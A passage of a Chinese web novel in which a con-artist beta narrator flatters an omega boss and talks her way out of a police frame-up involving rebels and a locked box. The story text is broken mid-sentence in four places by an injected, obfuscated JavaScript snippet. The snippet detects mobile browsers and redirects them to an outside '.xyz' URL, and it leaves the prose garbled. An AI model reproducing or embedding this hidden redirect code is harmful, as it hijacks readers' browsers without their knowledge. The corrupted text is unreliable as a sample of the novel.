他看着比昨天更胖了,衬衫上的纽扣正艰难地拉扯两边的布料,却还是倔强地露出个恶心的肚脐眼。
我看一眼都嫌眼睛疼,依旧赶在最后十秒钟前录脸打卡。
“白无用,无用啊……”经理搓着手走过来,谄媚地笑着说:“20日那天的情况呢,我想了想,觉得实在是不应该这样克扣你的工资。不如这样吧,你再录一次脸,我给你记到20日的考勤表里,怎么样?”
看吧看吧,这就是有权有势的滋味。我什么都不用说,就会有人主动替我解决问题。
真不敢想白灯湾的人生活有多惬意,吃的饭团营养有多丰富。
不过我还是得推拒一下,“会很麻烦吗?”
“不会不会,只是耽误你十几秒而已。录脸完成后,你就可以上去找老板了。”
我这才跟着他回到打卡机前重新录入20日的考勤,也从猪头经理的手中拿回了三百元的扣款。
做完这些,我心中的某块大石头松下来。
这下好了,警察局就没理由以我缺少考勤的理由重新把我拷进去了吧?
乘坐上顶层电梯的我一边折叠白纸,一边在脑海里思索合适的台词。
“叮!”
当我走出电梯时,余晖正好落入帷幕。我看见仆人们拉开了窗帘,正好能够发现外面的白灯湾光束。
远远地看过去,就好像一个凭空扎进土地上的针管,突兀又难看。
收回视线,我来到办公室的门口准备敲门。
可还没等我的手指落在门扉上,门就被仆人打开了。
年轻的白发omega依旧是站在窗边修剪花枝,可他的剪刀在半空中挥舞半天也没有落下,瞧着怪尴尬的。
“你还真来了。”克斯蒂说道,视线若有若无地往我这里瞧。
我知道他这样的目光是什么意思。
和当初奥维拉看我的眼神很相似,又带着未婚omega特有的纯情。
我来到了办公桌前,距离他有五米的距离就停下脚步。
“是,很抱歉打扰您。我很庆幸您还愿意见我。”我将目光定格在他的眼睛下方,“我今天来只是想要送出一个东西而已。”
我说着,就把怀里的东西拿出来。
是一朵残败的花。
是从楼下公司花圃里随手摘下来的。
克斯蒂一愣,随后是被冒犯的恼怒,好像是信任被辜负了一样破口大骂,“该死的!把你的垃圾……”
“怎么会?”我立刻做出比他还惊讶的表情,“我以为它能好好的。”
就是要理直气壮,就是要比他还要伤心难过。
“我觉得这朵花很漂亮,想到你就取过来了。”我摆出焦急的表情为自己辩解,“我知道这只是一朵不知名的花,对比起你手中的花来说太平平无奇。但我确实无意让它受伤!”
克斯蒂表情稍微放缓,那只手又开始缠绕起发丝,“你什么意思?”
“我只是想感谢您。”我知道是时候了,于是往前跨出一步,“您让我感觉到了被尊重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775042|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,所以我想对你表达感谢。”
“可我没有钱购买品种花,于是只能在来公司的路上选了一朵。”
虽然我没钱,但我有感情啊。
天龙人差的是钱吗?差的是感情。
我眼睁睁看着克斯蒂的表情从惊愣转变为迷茫,然后又隐隐沾染些动容。
他来分公司之前一定上过标准的omega学校,让他成为了一个对爱情充满遐想的待嫁omega。
因为不缺钱,所以没有意识到对底层人来说钱有多重要。因为受过大家的宠爱,于是理所当然认为大家对他的感情是纯粹的。
太好了,我就喜欢这样的人。
我甚至不用标记他,因为他结婚之后会立刻和我划清界限然后专心地投入alpha的怀抱。而我只需要凭借他天生的心软就可以拿上高昂的分手痛苦余生。
不行,别再想了,不然我要憋不住笑了。
“你是说这朵花,是你特意找来给我的?”克斯蒂的手指不断缠绕发丝。
他离开窗台,坐在了办公桌前。
我们两人的距离更近了。
“……是。”我刻意地放轻语气,然后用遗憾失落的语气说:“很抱歉,我明明想让你开心起来,却做了傻事。”
“啊,嗯,确实很傻。”克斯蒂的嘴角勾起来,挑着眉眼看我。
而我也再次正式抬起眼直视他的眼睛,在他瞳孔收缩时,说:“花的颜色是金色,和你的眼睛颜色一模一样。就像阳光,很耀眼,我很喜欢。”
其实我更想说黄金,但那样未免太庸俗了有损我的气质和人设,于是不得不换了个诗情画意的词语。
“你……”他的眼睛快速眨动了一下,然后略带别扭地移开视线,“你难道读过书?真是花言巧语。”
笑话,肚子里没点墨水我怎么骗人?难道你们这群天龙人跟我诗情画意的时候我要掰着手指算我一个月还剩多少钱买饭团吗?我这种小白脸很讲究职业素养的!
“这些话让你不开心了吗?抱歉,我只是在说心里话。”我继续摆足了迟钝笨拙的姿态,“而且我也该走了,以后也不会再打扰你。”
克斯蒂这次又没说话了。
他的目光像是什么柔软的丝绸,不断地缠绕在我的身上。
我想如果我是a,我一定能闻到他信息素的味道。
可惜我就是个白开水beta,就算这个时候把后脖子露出来对面的小o也只会觉得我在开玩笑。
就在我转身时,我听见克斯蒂的通讯器传来响动。
他接听了电话,我以优越的听力听见了奥维拉的声音。
“克斯蒂,白无用在公司吗?把她抓起来,她是叛乱党同伙。”
话音落下,我明显感觉到周围的空气凝固了。
我骟他大爷,说好我是无辜的呢!
奥维拉真要把我送上处刑台嘛!
我慢慢转过身,看见克斯蒂皱起眉头的厌恶表情。
而通讯器里的奥维拉还在说话,“好好查查20日的监控吧,她一定是在20日的时候把情报藏进了你们公司的仓库里。”
克斯蒂眼神冰冷,像是要把我生吞活剥了般,一字一句回复,“当然,白无用就在我这,你现在就派人过来吧。”
“就算现场把她射杀了都可以。”
我透!我透!我透!
我要死了!我真的要死了!
按理说我一没有送情报二没有偷东西,我大可不必如此惊慌。
但问题是,20日那天到达仓库的根本就!不!是!我!啊!
5. 第 5 章
我现在很慌,藏在背后的手心都要掐出四个洞了。
可恶啊死嘴快给自己想想办法要怎么狡辩啊!
“现在过来吧,奥维拉。我会看住她的。”克斯蒂语气冰冷对通讯器说道,同时让仆人们把办公室大门关系。
“咔嚓!”
好啦,我现在是连逃跑路线都没有咯。
哈哈哈不如乖乖等死算了……
不要啊!我还打算成为千年王八啊!
冷静点,事情还没有到无法挽回的地步。
首先要思考20日当天那个人在仓库里干了什么,等见了监控再狡辩也不迟。
而且对方总不能一点退路都不给我吧,大家都是互利互惠的合作关系,万事留条后路总是好的啊。
该死,万一对方想要过河拆桥怎么办?
等待奥维拉的过程是很煎熬的。
办公室内谁都没有说话,只有克斯蒂调查监控时发出的电流声。
绝对不能表现出慌乱的情绪,但也不能毫无反应。
我时刻观察克斯蒂的表情,企图在他冷冰冰的脸上分析出什么情绪来。
是厌恶?还是恶心?或者是迷茫?
只要捕捉到一点点的信息,我就能找到完美的借口给自己脱罪!
“真是恶心的蛆虫。”克斯蒂对我发出了最后的宣判。
我的脑子“轰”一下的炸开来,耳边响起了刺耳的鸣叫声。
恍惚间,一双无形的手把我推上处刑台,黑漆漆的枪口对准我的脑袋,然后“砰”地击穿我的太阳穴!
绝对不能承认是我!
很好,现在看仓库监控反而没有意义了,我必须得和那个人撇清关系,最好把一切关于对方的信息删掉。
谁知道审讯室里有什么非人类的审讯工具,要是我坚持不住什么话都说出来怎么办?
“咔嚓!”
奥维拉到了。
他身后跟着的是密密麻麻手拿枪械的警员。
看见奥维拉的脸,我忽然平静下来了。
我知道该怎么做了。
于是我很用一种平静的眼神看着奥维拉,双手握拳缓缓抬起来,对他说:“奥维拉,如果这是你想要的话。”
对,现在就待我回去审讯室。
而我也为自己准备好了一场充满瑕疵却精妙绝伦的狡辩。
——
我又回到了审讯室。
真是熟悉的感觉啊,距离上次进来竟然还不到48小时。
奥维拉依旧是坐在我的对面,而记录员也还是那个记录员。
相比起上次明显带有调情意味的氛围,这一次则带着明显的压迫和森冷。
记录员把显示器摆放在桌面上,面朝我,然后摁下了播放键。
我清晰地看见屏幕内的人进入仓库,如一个普通的配送员那样在指定的地点领取我的货物。他的身高和我差不多,体型也和我差不多,留有黑色的短发,戴上口罩后一般人难以区分。而那个时间点前去领取货物的员工只有我。
就在此人领取完所有货物后,他绕开了看守人员,以极短的时间内对着传递货物的机器操作了几下,然后从传输带下面拿出了什么东西装入帆布包中。
我始终保持平静地观看了监控全程,并且确定了那群该死的家伙真打算过河拆桥。
他们明明有能力修改这段监控,却偏偏没有修改,反而这样大喇喇地放出来。
不,他们确实修改了监控。之所以到现在才还原监控,只不过是风头过了,需要一个人被推出去顶包。
透他爹的,我就不该贪图那点钱!
但错绝对不在我,而是这群狗屎的过河拆桥的贱人!
“有什么好狡辩的吗?”奥维拉眼神冰冷注视我。
审讯室内的光线没有那么昏暗,我得以更清晰地看见他的表情。
很刻薄的模样,盛气凌人切高高在上,仿佛我是那个居心裹测接近他只为了套取情报的诈骗犯。
这就是他神经病的原因。诚然,我确实存心接近他,可我又没有逼着他扭腰坐我手上。
说到底不过是天龙人自己的毛病,却让底层小牛马承担后果。
我抿了抿唇,先是短暂沉默地直视他的眼睛。
在他表现地明显不耐烦时,我才开始了我的狡辩,“不是我。”
奥维拉冷笑,“谎言很拙劣,白无用。监控就在这里,我明天就能把你送上处刑台。不过你要是愿意把同伙供出来,我可以给你安乐死。”
那我他爹的还得谢谢你?
去死吧神经病。
可我不能这么说,我还得用一种苦涩的眼神注视奥维拉,假装对方是我爱而不得的钞票。
“你们已经开始搜索我的家了吧?”我声音沙哑,眼角泛红,一滴倔强地眼泪如何也不肯落下。“算算时间,差不多了。”
奥维拉蹙眉。
“20日凌晨三点,我有心事,一件纠结了很久的心事需要我去解决。可我需要钱,也需要时间去准备。我听说码头那里有很多走私犯,他们需要临时搬运货物的工人,于是我去那里准备挣点额外的钱。”我一字一句娓娓道来。
至于我20日凌晨三点究竟有没有去东区,没有人知道。
东区的走私船实在是太多了,前去临时打工的人也太多了,没有人知道是否真的有一个沉默寡言专心工作的beta。
“什么事?”奥维拉冷声询问。
我没有立刻回答,而是有些痛苦地捂住自己的脑袋,用极低却足够对方听见的音量说:“奥维拉……”
“让我们单独相处一会,只是一会而已。”
记录员一愣,惊疑不定地征求奥维拉的答案。
而beta警督则是察觉到什么,瞳孔兴奋地骤缩。
“你出去。”
记录员只能点点头,把记录本留下后离开了审讯室,还顺便关上了门。
“无用,你继续说。”奥维拉压制自己企图尖叫的声音,甚至因为过分压抑而听起来刺耳无比。
我深呼吸了好几口气,继续用捂着脑袋,语速缓慢说:“我需要钱,奥维拉。我很贫穷,我每个月的工资只有三千元,还要交出一千二百元的税款。尽管我已经很努力地省吃俭用,每天只吃两个饭团,可我还是攒不下钱。”
“为了更好地理财,我甚至在购买廉价饭团时向便利店员索要支票。”
对,就是这样,情绪要层次递进,要为金钱痛苦,却不能只为金钱痛苦!
“20日那天我已经考虑好了,每天结束配送工作后就去东区打工一个小时赚点钱。”我终于抬起头看他了。
看着红发beta在我的注视下越发兴奋,看着他的发丝在显示器的光照下轻微颤动,还有那桌底下不安分摇晃的腿。
“我想要送给某人一个足以配得上他的礼物,这样我就可以彻底死心辞职离开这里,去更远的无人区独自生活。就算哪天我死在了矿洞里,只要我想到他手中留着我送的礼物,我也死而无憾。”
“然后我遇到了一个人,他说只要帮他一个小忙,就能给我一笔钱。他说只是借用我的配送员身份一次,绝对不做什么。我相信他了,于是我真的得到了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775043|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笔钱。”
避重就轻,是最好的办法。
“我有钱后从那些走私犯的手中买了一个昂贵的盒子。等到21日凌晨,他和我交接身份时,我就把盒子装入了帆布包里。”
“然后,我就遇到你了,奥维拉……”
尽管场内没有观众,但我依旧为我的狡辩股掌。
我没有撒谎,我确实要去东区的码头,我也有一个带锁的盒子,我在20日当天真的没去仓库,21日凌晨也真的遇到了奥维拉。
我不过是模糊了时间,模糊了未来和过去发生的顺序。
而我也真的有买饭团要求店员开支票的习惯。
这样的狡辩充满瑕疵,可正中当事人的心脏。
他像是受到了极大的震撼,仿佛得到了什么惊喜的玩具一样呼吸加重。
“这个时候,他们应该找到盒子了。”我为我的狡辩落下句号。
奥维拉看向了通讯器,下属发送过来的文字和图片证明我所言属实。
一个穷苦的beta除非受人贿赂否则根本买不起那样的盒子。尽管不排除叛乱党出资购买的可能,但在更诱人的前者面前,神经病会直接忽略后者。
这当然不代表他多么信任我,只能说明他有无限制的试错成本。
“盒子的密码是什么?”他问。
我嘴角苦涩,眼眸里充满被刺痛的麻木和落寞,“我不会说出去的。那是我最后的尊严了。”
骟他爹的,我要是那么厉害知道密码还至于在这陪你玩审讯游戏?
奥维拉没有继续逼问我,而是再次扬起了神经质的笑容,开始摇晃那刺眼的黑色皮靴。
我没有看他,假装力竭地靠在椅子上。
背后的冷汗打湿了我的工作服,黏糊糊的相当恶心。
天杀的,一次性说那么多话实在是费神。
可我知道还没有结束。脑力劳动之后就是体力劳动。我懂,特别懂奥维拉。
“无用,真可怜。”这神经病又开始了。
一双手抚上我的额头,又轻柔地摩挲我的眼角,好像要把我的眼角揉开。
奥维拉亲昵地将脑袋磕在我的肩膀上,昂着脑袋寻找我的嘴,“我不会再怀疑你了,无用。你确实是无辜的,我好好补偿你如何?”
比起补偿,我更想知道奥维拉是怎么怀疑我的。
这段监控只在公司内有,奥维拉又怎么会莫名其妙地想要调查监控?
“奥维拉,是有人诬陷了我,对吗?”我问道。
“啊,对。”奥维拉语气轻快,轻易地就把那人的信息告诉了我,“哈哈哈哈,就是你经常买饭团的那个便利店内的店员。他给我投了一封举报信,原本是匿名的,但警察局外有监控,我看清楚了他的样子。”
“原来如此……”我将我岌岌可危的人设搀扶好,然后露出了怜悯的笑容,“原谅他吧,他只是做了公民应该做的事情。”
我当然得原谅这位店员,因为店员就是我。
那个和我互换身份的贱人就是在便利店内和我交接身份的。而这个贱人为了做实我是叛乱党同伙的事实,一定将便利店内的视频完全摧毁了。
我原谅我自己,而这些个过河拆桥的贱人则是别想好过。
不过想也知道便利店员是他们推出来的替罪羊,罪魁祸首早在我抓捕时就撤得干干净净。
焦虑充斥我内心的时候,我下手的力道都重了不少。
奥维拉闷哼一声,埋怨地用脚后跟蹬我的腰,“无用,你该剪指甲。”
不听,我现在是冷脸矿工状态,只会默默干活。
6. 第 6 章
众所周知,奥维拉是个神经病。
谁也不知道他好好一个家境优渥的上行城beta为什么要跑到贫民窟边缘做警督,也不知道为什么他那有钱有势的丈夫不娶o反而娶一个b。
我最初盯上奥维拉的时候不是没有思考过这些问题,但没多久便被我抛之脑后。
小牛马没必要知道太多事情,知道多了反而容易被杀人灭口。
于是很多时候我在发现一些奇怪现象时都会选择性忽略过去,维持好自己笨拙又保守的自尊老实人设就足够了。
现在嘛……我在做手工活。
他进步真的很快,第一次下药那会还在喊疼呢,第三次就无师自通成为善口技者。
我不至于没眼力见到问他为什么和丈夫没有上过,这本来也和我这个小白脸没关系。但这人是个神经病,结束后还黏黏糊糊缠着人问我为什么不好奇。
不是,我好奇这个做什么?我又不是你们上行城的八卦记者专门跑床底下偷听。而且这玩意听多了对身体和心理都不好,我可是很惜命的。
于是我保持沉默,假装自己什么都没听见。
“无用,你该多笑笑。”奥维拉趴在我的膝盖上,湿润的嘴唇不断摩挲我的膝盖骨,黏糊又沙哑。
笑什么笑?跟你这个神经病相处久够命苦了,还让我卖笑。
这不是钱不钱的问题,也不是人设的问题,而是我的原则问题。
笑口常开,倒霉自来懂不懂。
上次贫民窟那个爱笑的小伙子就是对着你笑了一下,几天后就被人枪毙丢进东区海里了。
我无声的抗议并没有传达给奥维拉,反而让他越来越兴奋地靠近我,一定要从我的嘴里套出答案,“无用,你确实该多笑笑。你要是笑了,我就告诉你为什么不和丈夫做的原因。”
不是?我没说我对这方面感兴趣啊,你别随便给我套人设啊!
为了防止这个神经病又要说出什么抽象言论,我伸出手把他推开,然后安静地套上衣服。
我现在要表现出心如死灰不再爱的样子。
不为别的,就为了等会去公司继续骗克斯蒂。
穿好衣服后,我终于屈尊开口说:“盒子,可以还给我吗?”
“不行。”奥维拉没坐地上了,而是稍微往上抬坐在了桌子上。
他习惯性地翘起二郎腿,小腿有一下没一下地晃动着。
“无用,除非你告诉我密码是什么,否则我是不会还给你的。”他略带得意说道。
哎嘿!那我就不用去东区码头送货咯!
要是那叛乱党同伙问我,我就假装惊讶!
诶,我不知道啊。难道不是你同伙给我举报了吗?我自己都九死一生呢。
至于你们叛乱党还分出多少个组织多少个流派,那和我又有什么关系呢?底层小牛马可参与不了你们之间的内斗。
再次卸下心头一块石头的我心情舒爽,但还是面露麻木痛苦的表情。
“随你便吧,奥维拉。以后你想怎么做都行,反正我反抗不了。你就是这样,拿我重视的东西取乐我,然后看我痛苦的样子。以后我不会再对你抱有奢望了,绝对不会。”我一面痛苦,一面手脚麻利穿上最后一件衣服。
员工服就是方便啊,随随便便就能穿上。
我决定了,当上总经理后我也要继续穿员工服。
我走的时候奥维拉没有拦住我,而是在我的口袋里塞了一沓厚厚的现金。
“补偿你的。”他俯在我的耳边小声说道,似乎还能感觉到他黏糊糊的潮气。
我绷着一张脸假装拒绝,手指以极缓慢的速度去拿钞票,成功被他拦截。
“你弟弟也需要生活费,不是吗?”
这可太有道理了!
于是我心安理得地收下了钞票。
而且我觉得他在学校过得肯定比我好,区区7年没有生活费而已,他一个alpha还能饿死不成?
离开了警察局,我再次哀叹我落下的自行车。
人就是不知道满足的动物。我步行那会就想着要有一辆二手自行车,有了二手自行车就想要崭新的自行车。可我有了崭新的自行车后,我又对警察局里的警车蠢蠢欲动。
可想也知道这群警察不可能在抓我之外的情况下对我点头哈腰把我恭迎上警车。
再次回到公司的时候,猪头经理对我的态度就很微妙了。
是一种鄙夷又忌惮的复杂表情,真是难为他能用满是肥肉的脸上做出生动形象的表情。
克斯蒂对我能够安全无恙地回到公司感到很意外,更意外我竟然还有脸想要见他。
“奥维拉是被冲昏头脑了吗?”他用尖酸刻薄的语气鄙夷说道。
显而易见,克斯蒂和奥维拉的关系其实并没有表面上那样交好。
奥维拉一年前就上任警督了,而克斯蒂是三个月前才空降过来的。
我嘴唇挪动一下,反复开口又关闭,最后用眼神诠释我身不由己爱而不得为了维护自尊又毫无办法的可怜形象。
“我不知道该怎么向您解释,我只能不断重复我是无辜的。奥维拉也知道,可他……算了。我倒希望我能干脆利落地去死,也不愿意受到这样的待遇。”
我当然不会说太多奥维拉的坏话。
有些坏话只有天龙人能说,我这个小底层牛马要是真表现出什么感同身受的情绪,我绝对会被天龙人狠狠打一巴掌教做人。
别看这群天龙人在争夺利益的时候互相捅刀子,要真有一个底层小牛马不知好歹地插上一嘴,他们就会空前团结然后一起弄死小牛马。
“你……”克斯蒂的表情又开始纠结了。
他的眼睛左看右看,偶尔还查询一下通讯器里的信息,估计是在和奥维拉沟通。
“好吧,奥维拉确实说你是无辜的。”克斯蒂的手指开始给发丝打转,语气柔和了不少,“他真奇怪,为什么总喜欢捉弄你?要我说,他就是和丈夫分开太久了,所以才拿你这个beta取乐。”
说到一半,他掩饰性地用手捂住嘴巴,“哈哈哈,beta总听不懂我们说话,我和他有些时候真的聊不来。”
我微微惊讶瞪大眼睛,“可我认为您是个很好的人。”
“我?那是当然。”克斯蒂对这个称赞理所当然地接受了,“我很美貌,不是吗?只要和我相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775044|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处,那些alpha都会忍不住对我称赞有加。”
“可我是beta。”我稍微让自己看起来更柔和,“我认为您有着比外貌更重要的品德。”
“不是说您不好看的意思,我是说,您的灵魂和您的美丽如出一辙。”
克斯蒂终于拿正眼看我了。
金色的眼睛里蠢蠢欲动闪烁着什么东西,然后迫不及待地开口询问我,“比如呢?”
我夸赞他说,“您很擅长倾听,对待他人也很温柔。奥维拉那样的性格,您也愿意做他的朋友,说明您的心里充满包容和善良。”
睁眼说瞎话的能力越来越厉害了,我都要忍不住夸赞我自己。
没错!白无用,我就是一个情绪稳定擅长挖掘天龙人压根不存优点的绝世好矿工!
克斯蒂的眼睛更加明亮了,嘴角是压不住的笑意。
他朝我招招手,“站这么远做什么,过来我这边。”
我如他所愿来到了他的办公桌前站定。
这个角度很好,可以看见他衣领下面奶白色的肌肤。
我飞快移开视线,然后用手把耳朵搓红。
“你很会说话。”克斯蒂让仆人们给我倒一杯红茶,表情比刚开始进门的时候柔和了好几个度,“你真的没上过大学吗?”
“没有。”我眼眸暗淡,却不忘展示我追求精神富足的人设,“但我知道学习是无止境的,不能因为物质条件的不足就停下学习,所以我会在休假日去图书馆逛逛。”
“贫民窟也有图书馆?”他很惊讶,捂住嘴的样子瞧着很欠揍。
“这是上行城建立的图书馆,已经有七年的时间了。”我解释说,“我很感激他们能想起贫民窟的大家需要精神食粮。”
放狗屁,贫民窟里的人能吃口饭就不错了谁还有空看《财富的意义》《你不努力就无法成功》《这样说话老板更加赏识你》之类的垃圾书啊?
类似于海边售卖登山工具,在山顶上售卖泳装,压根就不是一个正常人脑子里能想出来的主意。
而且说是图书馆,也不过是一个占地只有二十平的小屋子,长达七年时间没有维修和增添书籍,现在早就破烂不堪了。
“你……”克斯蒂向我的方向靠近了一些。
我看见他白色的长发顺着肩膀滑落下来,垂到了我的手背上。
很痒也很软,相当符合他的性别。
“你和我知道的其他beta不一样,你很努力。”克斯蒂嚼着字眼对我说,金色的漂亮眼睛始终注视我。
而我也时刻观察他的微表情变化,“我认为大家都是一样的,我只是遵循我的喜好而已。”
克斯蒂追问,“我呢?我也一样吗?”
我此次没有回答,而是慌忙与他拉开距离,笨拙地转移话题,“我觉得我现在应该去工作了,抱歉。”
“白无用,我给你升职吧。”
克斯蒂还保持原来的姿势坐在办公桌前。
他的长发已经被他缠绕成一连串的圈了,还在不断地往下延伸。
“和奥维拉没有关系,只是你表现很不错,就算遇到这样的事情也不忘记工作。你应该升职。”
7. 第 7 章
我曾经读过图书馆里摆放在最前面的书籍,名字叫《学会感恩》。
那时候我刚刚和人打一架争取到了公民的身份,然后满脸是血地进入图书馆迫不及待彰显我的公民身份。
管理员看都没看我一眼,继续她的打字工作。
而我则是狼狈地在衣服上擦干手上的血渍,然后翻开第一本书。
我对这本书开头第一句话印象深刻,到现在都还记得——你要把你的领导当做你的父母那样感恩,感恩他们给予你工作机会和向上走的机会。
现在回想起来,我太感恩了!
虽然我并没有把克斯蒂当父母看而是当智障看,也没有把奥维拉当上司看而是当神经病看。但我确实心怀感恩啊!我甚至愿意用花言巧语哄骗他们给我升职加薪,而不是像当初离开无人区那样一刀捅死竞争对手。
我!真是太感恩了!
但我还是要假装矜持一下,把自己包装成一个完美的被动型人格。
毕竟beta是唯一能够让omega生出成就感的性别。
“不,老板,我不认为我能升职,我只是个普通人。”我无措地站在原地,双手捏着衣服的一角松了又紧,“我不希望您把我当成一个……一个被他人施舍的角色。”
克斯蒂的嘴角勾起来,眼底流露出的不自觉的喜悦和满意,“无用……你这个名字真拗口,应该改改。你不用太自卑,这是你应得的。奥维拉根本不懂你,我比他更赏识你的才能。”
“你只要安心地升职就够了,要是你感到愧疚,那就在位置上好好工作吧。我会立刻下达你的升职通知,明天早上你就可以正常上班了。”
他都把话说到这个份上了,那我就不能再拒绝了哈。
于是我终于勾起欣喜又感激的微笑,将我这张漂亮脸蛋的优势发挥到最大,“十分感谢,老板。我会证明给您看的。”
克斯蒂的表情空白了一瞬,耳根窜上些红色。可因为omega的肌肤过于奶白,以至于这一抹红色好像落入牛奶里的红色果子。
“你就是应该多笑笑,无用。”
我又把笑容拉平了,“奥维拉也这样说过我……算了,不提他了。”
克斯蒂撇撇嘴,眉毛往上扬了扬,“确实,你不能总提起他,好像你们真的有什么很亲密的关系似的。”
哎嘿,给你猜对了!
我们还真是情人关系!
不过为了可持续性发展,我还得表现出苦涩痛苦的表情,然后在他思考的表情中离开办公室。
我相信等我下楼后升职加薪的通知已经全公司都知道了。没有人敢提出异议,就算是那个猪头经理也不得不对我卑躬屈膝。
然后我要做什么?哈哈哈我当然是要装作一脸悲痛的样子说他今天早上左脚迈进公司违反纪律然后把他开除!
可当我真的看见猪头经理的时候,我的大脑及时制止了我。
不行,这个猪头经理还有用。这个人在公司内工作多年了,甚至比克斯蒂还有威望。如果克斯蒂没有空降,那么接管公司的很可能就是他。
我突然把他踹了,那我不就成空头经理了?
思考期间,猪头经理已经朝着我凑过来了。
“无用,哈哈哈,从前我就看你不一般,现在你果然升职了。”猪头经理伸出手就要拍打我的肩膀,被我嫌弃地躲开了。
咦惹,非人类生物可别碰我。
“我很感谢老板。”我对猪头说道,“也感谢你的关照。”
猪头脸上的笑容更多褶子了,瞧着有点丑。
我们并没有寒暄太多客套话就各自分开。
晚上回到家的时候,我还收到了上行城发来的消息,是向我要生活费的。
[扣一给我生活费:经费]
我笑一声,就把号码拉黑了。
没一会另一个号码又给我发消息,同样的字眼。
我再次拉黑。
通讯打过来,“你真当我吃西北风啊!我的经费被你吞了多少?白无y……!”
我可懒得听他废话,再次挂断拉黑一条龙服务。
反反复复十几次,对方终于消停了。
我又从口袋里掏出饭团啃啃。
突然暴富的我一时间不知道该去哪里买更新鲜的食物,只能继续啃饭团。穷人乍富是这样的,对于到手的财富反而不知道该怎么花。
就在我拆开饭团的包装准备往嘴里送时,一道寒光闪过!
我猛然瞪大眼睛把饭团一丢,然后抱头鼠窜到房间的角落,“啊啊啊!杀人啦!”
“砰!”
来人一脚踹在了我的旁边挡住我逃跑的路线,锋利的刀子再次落下,又被我手疾眼快地抄起小板凳挡住!
“看在咱两认识七年的份上你就不能假装不知道嘛!”我破口大骂,“你还欠我人情呢!”
来人终于停下了攻击,“所以你真的把盒子送给警督了?”
“什么叫送?那分明是被强迫的!”我为自己辩解,“我也不知道你们人竟然会半路捅我腰子!我反而要问问你们,好端端的为什么举报我?”
女人终于放下手中的匕首,“举报你?我们没有啊。”
“你们就有!”我朝她露出手臂上的淤青,“你看,他们还打人!我多无辜!”
这其实是和奥维拉乱搞的时候他太兴奋夹得。
但这怎么不算是打人呢!我也会痛的好不好?
阿丽注意到我受伤的淤青,眼睛眯起来,“这看着也不像是打的啊。”
“你个alpha你懂个屁!”
“好吧。”阿丽没有再纠结这件事,将注意力转移到更关键的地方,“你说的举报你是怎么回事?我确实没想到会把盒子送你手上,我还打算27日亲自找你一趟呢。”
我今天的遭遇真假参半地跟她说了一遍,她就坐在小破床上思考。
“看来和你没关系,你是无辜的。”阿丽说着,就把匕首插回去。
看她一副愁眉苦脸的模样,我假装关切提议,“要不我为你们做点什么吧?”
“那你帮我们把盒子拿回来。”
我果断拒绝,“那不行,你换一个。”
阿丽换了个更过分要求,“那就给我们一百块。”
“我还是帮你们把盒子要回来吧。”
一百块?那不是要我的命吗?还不如想个办法找奥维拉换回来呢。
于是我的大脑转了转,“你们能再搞一个一模一样的盒子吗?我找个机会换回来。好处也不能少了我。”
阿丽对这个提议很赞同,“只要你能在27日前将盒子送到东区码头就行。盒子我明天就给你,你要到图书馆里拿。至于报酬……”
她眯着眼沉思片刻,说:“你想要什么?”
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775045|174667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要确保你们的组织,永远有我的一个位置。”我说道。
阿丽的眼睛又睁开来了。
认识七年了,我对阿丽的性格和行为了如指掌。她难得动用脑子思考时候眯起眼睛,其余时候就是一副傻愣愣的智障模样。
对,后面我才明白当初她在图书馆内看着我满身是血进来不是不好奇,而是单纯脑子没反应过来。
“好,但是你得交一百块入伙费。”阿丽说。
“那不行。”我再次拒绝这个无理要求。
最终我还是得到了她的口头承诺。
今天晚上我没睡着。平时里这时候是我的工作时间,而此时的我竟然在床上睡大觉。
屋子内其实到现在还是乱七八糟的,那群警察搜寻的时候并不会考虑爱惜公民的私人财产。我懒得收拾,今天一天经历的事情已经够多了。
我开始复盘20到今天经历的所有事情,确认无论哪一件事我都有条退路可走。
然后我又想到了那个捅我腰子的alpha男性。既然他是阿丽组织内的人,那是不是说明我有机会也捅他一次?
——
第二天早上我先是去图书馆拿了盒子装入口袋里。
我当然还是穿着老旧的员工服,里面的大口袋足够我放很多东西。
